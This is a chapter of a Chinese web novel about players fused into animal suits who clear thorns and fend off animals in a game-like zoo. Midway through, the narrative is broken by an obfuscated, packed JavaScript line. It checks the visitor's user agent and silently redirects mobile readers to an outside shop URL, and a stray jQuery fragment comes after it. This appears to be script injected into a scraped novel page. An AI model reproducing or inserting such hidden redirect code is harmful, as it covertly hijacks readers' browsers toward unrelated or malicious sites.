“我…我的道具有用吗?”高沛白面露苦涩。

    众人印象中高沛白胆子大,心也细。屈秋灵听出他语气里自暴自弃的情绪,不由得多看几眼。

    高沛白不是有意要唱衰的。

    经过长时间的动物训练,他腿瘸了,肋骨也断了好几根,每一次呼吸都剧痛无比,时刻磨损着他的意志。

    他已经不抱希望,可能自己连这个场馆都出不去了。

    “不许乱想!”蒋绿蕊一个跳跃,精准落在了高沛白站的木桥上。

    她早就跃跃欲试,想要加入屈秋灵消灭荆棘的队伍,听不得这种丧气话。她也知道自己没有立场去要求高沛白,可是,越是丧气越是容易失败啊。

    “不到最后一刻,谁也不知道会怎样。走吧,我们去帮忙。”蒋绿蕊一个虎爪轻轻搭在了高沛白的鹿背上。

    再训练下去,迟早得死,不如博一线生机。

    不等高沛白回答,蒋绿蕊纵身跳到地面上。脚掌落在尖刺上很疼没错,但她的脚掌早就磨破了,痛得难以忍受,再增加一点疼痛又怎样呢?

    当然,她也是看到高沛白绑定的鹿要攻击自己所以才跑这么快。

    屈秋灵的龟背容纳不下这么多成员,蒋绿蕊也不在意,她跟着队伍,她的虎爪一拍下去能一下子拍断好几根荆条。

    “你太厉害了!”小小的冷青真羡慕她作为老虎的大体格。

    蒋绿蕊倏然一笑。

    她们脸上都被尖刺划出许多道口子,眼神却是充满坚毅。

    很长一段时间都没有动物来打扰她们,兴许是忌惮屈秋灵的道具,生怕一凑上前就有数不清的荆条砸向自己。

    直到她们清出了一大片空地。

    “当心——”

    趁着她们没有防备,埋头干活的时候,章鱼从水中跃出。

    苗致反应极快,紧跟着跳了出来。

    她的触手紧紧缠绕着前面的章鱼,用自身的力量不让它靠近屈秋灵。

    “别过去!”苗致坠落在地,密密麻麻的尖刺扎破她的身体,她连声音都是从牙缝中挤出来的。

    章鱼被她死死拽着,移动的速度变慢。

    屈秋灵等人看到这一幕也连忙赶过去。

    “苗致,你先放手!这样拖着你会死的!”

    苗致的身体被鲜血浸透,她作为章鱼的身体迅速塌陷,以肉眼可见的速度干瘪。

    “你们继续,不用管我!反正我的污染值已经很高了……”苗致大喊。

    早在发现自己的污染值超过50%时,她就明白自己可能撑不过去了。

    这么多人只有她污染值最高,绑定的章鱼还总是缠着她。

    横竖都是死,她想做点有意义的事。

    她愿意牺牲,其他人却不愿意眼睁睁看着。

    段芮挣脱桎梏,将海狮甩在身后,飞快地朝这里赶来。

    何悦人用自己已经开裂的象牙顶住章鱼的前进。

    屈秋灵操控着头发,以鞭子的形态卷住苗致的腰。

    “撒手!快撒手!”她朝着苗致大声道。

    还没到生死存亡的那一步,别白白浪费生命。

    苗致的气息微弱,她的大脑似乎停止思考了。她的触手还本能地紧紧缠绕着章鱼。

    “去你丫的!”

    一只海豹从水中弹射出,像个导弹,撞在了苗致和章鱼中间,将二者分开。

    苗致被打飞,屈秋灵的头发顺势将她卷走。

    “我靠,牧溪,你有毒吧!”同时往这边赶来但是慢了一步的柯天无语地吐槽。

    “管它呢,你就说有没有用吧。”海豹形态的牧溪得意地龇牙。其实是被荆条划伤,痛得没招了。天知道从高处坠落有多痛啊!

    这时,一根白色的线横在他们面前。

    那根线很长,顺着方向望去,只见线的另一头栓着高沛白的…鹿脖子。

    这是他的道具吧?这数据线还能变长呢,还挺牛。

    “你有这么好的道具不早点来帮忙?!磨蹭半天!服了!”牧溪都被气吐血了。

    高沛白皱着眉,数据线一端固定在地面,如同可伸缩的绳索一般,将他传送到地面上。

    他平稳落地。

    他的伤势太重,站都站不稳,牧溪一边骂骂咧咧,一边和其他人给他腾出一片安全的空地。

    “还能走一走吗?”屈秋灵问。

    高沛白满头的汗,咬牙走了几步,再次倒下。

    “……算了,你的道具我们能用吗?”牧溪挪了挪位置。

    “应该可以。”高沛白想将数据线交给屈秋灵。

    但……屈秋灵的手,不对,她的前肢粗壮,应该不太能操控他的道具。

    似乎不是合适的交付对象。

    “你给我吧。”海豹牧溪的前鳍后鳍同时摆动。

    屈秋灵和高沛白同时看向他。

    海豹的前鳍短小,确实可以扒拉、拍打东西,但做不了抓握的动作。数据线比较细,需要精准地抓取才行。高沛白自己使用的时候都费了老大劲,他这个鹿只有蹄子。

    “你不行。”

    牧溪被无情拒绝。

    “我觉得我可以。”柯天刷了下存在感。

    “你?”牧溪翻了个白眼,“想太多。”

    其他玩家都默默比划了一下,额……没想到有一天会因为变成动物太不灵活而苦恼。

    海象……海象前鳍宽大厚实,趾骨不灵活。

    “冷青你是水獭,手很灵活。”段芮说道。

    可以是可以,但她个头太小了。

    “何悦人可以。”屈秋灵道。

    海狮有独立指骨,能弯折、合拢,抓取数据线。

    终于有个能干精细火的了,众人松了口气。

    何悦人意外地被寄予众望,兢兢业业跟着屈秋灵的头发一块干活。

    所有玩家都在地面上,能帮忙的帮忙,帮不上忙的就去抵御动物的攻击。不过屈秋灵特意嘱咐了,只能在动物发起攻击的时候做防御,最好不要主动攻击。

    她还惦记着副本规则。

    动物攻击距离有限,他们一边走一边往身后扔荆条,走过的路都重新遍布尖刺,动物们不敢上前,远远看着。

    “嘿嘿,动物终究不是人类,无法拥有人的思维。”牧溪隔着老远挑衅。

    蒋绿蕊的虎爪打在他的脑门,“不要乱说话。”

    很快,大家来到门口,将门上的荆棘清理干净。

    冷青站在屈秋灵的龟背上,转动门把手。

    玩家们满眼期待。

    “打不开。”冷青又试了几次,压根转不动。

    “是不是锁住了,我来试试。”何悦人拿出自己的道具,钥匙。

    “没有锁孔。”冷青说出这个坏消息。

    何悦人还是上前看了,万一钥匙靠近了,锁孔主动出现呢?

    期望是美好的,现实重头一棒。

    还好,还好他们心里都有准备。

    园长说过所有人必须干满四小时才能走,不太可能让他们轻易逃脱。

    走不了,屈秋灵回头望着堆成山的荆条。

    不太对。这荆条是不是变多了?偷偷长长了还是蔓延开了?

    屈秋灵让冷青试试能不能点燃。

    冷青捧着打火机凑上前,果然……不能。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17700593|208152||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不仅没烧掉,被火焰触碰到的荆条还有变长的趋势。

    众人手忙脚乱地赶紧躲远点。

    屈秋灵心中后怕。

    她最开始就想过一把火全部烧了,还好没有这么做。

    “那个,我的道具带电,试试看吗?”高沛白的鹿脖子上盘着数据线,在队伍角落开口道。

    “试试呗。”他们也好奇荆条能不能导电。按理说是绝缘的吧……

    高沛白让何悦人帮忙,“注意不要摸两头,中间是绝缘的。”

    “好的。”何悦人被他这么一说,也变得小心翼翼起来。

    不过,刚才用数据线捆的时候她就碰到过线的两端,没什么电呀。

    高沛白默念了一句什么,就见数据线滋滋响起电流声。

    原来是需要开启啊。

    众人不语,只是一味地让开,腾出一条路。

    然后他们就眼睁睁看着一大捆荆条被电焦了,轻轻一碰就化为黑色粉末。

    众人:“……”

    几双眼睛同时看向高沛白。

    “你有这好东西为什么不早点拿出来?”

    “就是啊,早点全电焦了拉倒!”

    “是诶,而且数据线可以变长,直接在从高台上拖到地面上!”

    “我们忙活半天算什么?”

    “算你勤快。”

    “我这不是没想到么。”高沛白被看得扭过脸去。

    “往好处想,以后遇到类似情况知道怎么解决了。”屈秋灵说道。

    大家还在场馆里,不宜内讧。而且这次大家在一起,可以互相帮忙,下次就不一定了。

    而且,不是每个人都愿意透露道具使用方法,更不用说拿来帮助其他人。

    高沛白自己心里也在懊恼。

    他要是早点想到这个方法,是不是就不会受这么重的伤了?

    他抿了抿唇,这次诚恳了许多。

    “抱歉,大家,我用数据线攻击过动物,没有效果,就下意识以为没什么用。”

    大家纷纷冷哼一声,但谁也没记仇。

    “高沛白,你的数据线可以调节电流大小吗?”屈秋灵问。

    高沛白摇头:“现阶段我只能决定它是否带电。”或许以后可以。

    他们都是新人,道具不是太初级就是还没摸清楚正确使用方法。

    屈秋灵和冷青对视一眼。

    幸好屈秋灵昨晚把道具拿出来了,否则她也不知道头发还能变换各种形态,还有自己的思想。

    苗致的状态不是很好,其余人一直留意着,和她在一个房间的柯天很着急:“时间还没到吗?我怎么觉得已经满四小时了。”

    “再等等吧。”

    冷青从屈秋灵的龟背上跳下来,她是最灵活的一个,趁着还有时间,试图用小爪子去擦拭屈秋灵身上的血迹。

    “不用麻烦,血都是动物皮上的。”屈秋灵让她休息休息。

    可是,真的只是动物皮受的伤吗?

    他们的血肉莫名融合进了动物套装,成了人首兽身的怪物。

    污染值还变高了。

    没了这层动物服,他们会是什么样呢?

    “门外有声音,快往后退!”屈秋灵打断了众人的思绪。

    “是不是时间到了?”蒋绿蕊道。

    为了验证她说的话一般,每个玩家都感受到自己身上的动物皮发生了变化。

    他们的身体变得轻盈,那层动物服逐渐与他们分离。

    园长的声音响起——

    “工作时间结束了,现在你们可以回去休息了。”

    他说完,门也自动开启。